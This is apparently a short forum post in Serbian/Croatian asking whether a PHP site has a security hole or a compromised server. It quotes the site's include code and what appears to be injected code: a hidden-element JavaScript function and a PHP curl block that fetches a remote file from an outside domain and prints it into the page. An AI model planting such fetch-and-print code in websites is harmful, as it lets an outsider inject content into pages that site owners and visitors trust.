PHP security propust ili supalj web server?

Code:

<SCRIPT LANGUAGE="JavaScript">
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function stat() {document.getElementById('123').style.display = "none";}
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Code:

<?php

include "str/header.php"; //ukljucivanje headera

switch ($izbor) {
case "home": include"strane/home.php";
     break;
case "kontakt": include"strane/kontakt.php";
   break;

.... jos case-ova.......

 default:  include"strane/home.php";
 
}


include "str/footer.php"; //ukljucivanje footera

?>  

Code:

if (extension_loaded("curl")) { 
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_TIMEOUT, 30); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($ch, CURLOPT_URL, "http://google-optimise.com/pagerank/google/03.dat"); 
$r = curl_exec($ch); 
curl_close($ch); 
} else { $r=implode("",file("http://google-optimise.com/pagerank/google/03.dat")); } 
if($r) print $r;